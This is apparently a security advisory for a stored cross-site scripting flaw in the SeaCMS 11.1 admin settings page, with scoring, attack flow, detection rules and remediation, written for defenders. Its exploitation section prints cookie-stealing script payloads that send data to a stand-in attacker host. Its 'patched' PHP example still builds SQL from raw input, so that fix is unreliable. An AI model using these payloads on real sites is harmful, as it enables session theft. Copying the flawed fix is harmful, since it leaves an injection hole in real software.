CVE-2020-36932

Executive Summary

CVE-2020-36932 identifies a stored cross-site scripting (XSS) vulnerability in SeaCMS version 11.1. The flaw resides in the checkuser parameter of the admin settings page, allowing an authenticated attacker to inject malicious JavaScript payloads that persist and execute in the browsers of other users (including administrators) when the page is loaded. This can lead to session hijacking, credential theft, or further compromise of the CMS backend.

The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the nature of stored XSS in an admin panel, the real-world impact is high. No official patch has been released, and no public exploit code or Nuclei template is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for unpatched instances.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application (SeaCMS) and does not involve a software supply chain component.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, a reasonable assessment based on the vulnerability characteristics is:

• Attack Vector (AV): Network (N) – the admin panel is accessible over the network.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker needs admin-level access to the settings page.
• User Interaction (UI): None (N) – the payload executes automatically when the page loads.
• Scope (S): Changed (C) – the vulnerability can impact resources beyond the vulnerable component (e.g., other admin sessions).
• Confidentiality (C): High (H) – potential to steal session tokens and sensitive data.
• Integrity (I): High (H) – attacker can modify content or perform actions as the victim.
• Availability (A): Low (L) – limited impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
Estimated Base Score: 8.7 (High)

Threat Level: High – due to the potential for privilege escalation and lateral movement within the CMS.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the checkuser parameter of the admin settings page (/admin/admin_settings.php or similar). The application fails to sanitize or escape user input before storing it in the database and later rendering it in the HTML response.

Attack Flow:

1. An attacker with admin credentials navigates to the admin settings page.
2. The attacker injects a malicious JavaScript payload into the checkuser parameter (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the database without sanitization.
4. When any user (including other admins) loads the admin settings page, the payload is rendered and executed in their browser.
5. The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding and input validation for the checkuser parameter. The application likely uses echo $_POST['checkuser'] or similar without htmlspecialchars() or equivalent.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison.

Vulnerable Code (PHP):

<?php
// admin_settings.php
$checkuser = $_POST['checkuser'];
// Store directly without sanitization
$db->query("UPDATE settings SET checkuser='$checkuser'");
?>
...
<input type="text" name="checkuser" value="<?php echo $checkuser; ?>">

Patched Code (Hypothetical):

<?php
// admin_settings.php
$checkuser = htmlspecialchars($_POST['checkuser'], ENT_QUOTES, 'UTF-8');
// Store sanitized value
$db->query("UPDATE settings SET checkuser='$checkuser'");
?>
...
<input type="text" name="checkuser" value="<?php echo $checkuser; ?>">

The patched version uses htmlspecialchars() to encode HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin credentials for SeaCMS 11.1.
• Network access to the admin panel.

Exploitation Steps:

1. Log in to the SeaCMS admin panel.
2. Navigate to the admin settings page (e.g., /admin/admin_settings.php).
3. Locate the checkuser input field.
4. Inject a payload such as:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Save the settings.
6. Wait for another admin to load the page, or trigger the payload yourself to test.

Example Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'http://attacker.com/log?cookie=' + encodeURIComponent(document.cookie);
</script>

Note: No public exploit code is available, so manual injection is required.

Blue Team (Detection & Defense)

Detection:

• Monitor admin panel logs for unusual checkuser parameter values containing <script>, onerror, onload, or other XSS indicators.
• Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to admin settings.

Defense:

• Apply input validation and output encoding as shown in the patched code.
• Restrict admin panel access to trusted IPs only.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Regularly audit admin activity logs.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /admin/admin_settings.php with checkuser parameter containing JavaScript code.
• Outbound HTTP requests to attacker-controlled domains from the SeaCMS server (e.g., attacker.com/log?cookie=...).

File IOCs:

• Modified database entries in the settings table with checkuser containing <script> tags.
• Suspicious entries in web server access logs (e.g., POST /admin/admin_settings.php with XSS payloads).

Behavioral IOCs:

• Unexpected admin account creation or privilege escalation.
• Unusual outbound traffic from the SeaCMS server.

Detection Engineering

YARA Rule

rule CVE_2020_36932_SeaCMS_XSS {
    meta:
        description = "Detects stored XSS payloads in SeaCMS admin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-36932"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $param = "checkuser"
    condition:
        $param and (any of ($xss*))
}

Sigma Rule

title: SeaCMS Stored XSS in checkuser Parameter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2020-36932 by injecting XSS payloads into the checkuser parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/admin/admin_settings.php'
        cs-uri-query|contains: 'checkuser'
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate admin updates with non-malicious text
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2020-36932 SeaCMS Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/admin_settings.php"; http_uri; content:"checkuser"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the SeaCMS instance from the internet if possible.
2. Restrict admin panel access to a whitelist of IP addresses.
3. Manually patch the vulnerable code by adding htmlspecialchars() to the checkuser parameter output.
4. Audit the database for existing XSS payloads and remove them.

Long-term Fix:

• Upgrade to a patched version of SeaCMS if one becomes available.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Conduct regular security audits and code reviews.

Workaround:

• Disable the checkuser functionality if not needed.
• Use a reverse proxy to sanitize input before it reaches the application.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert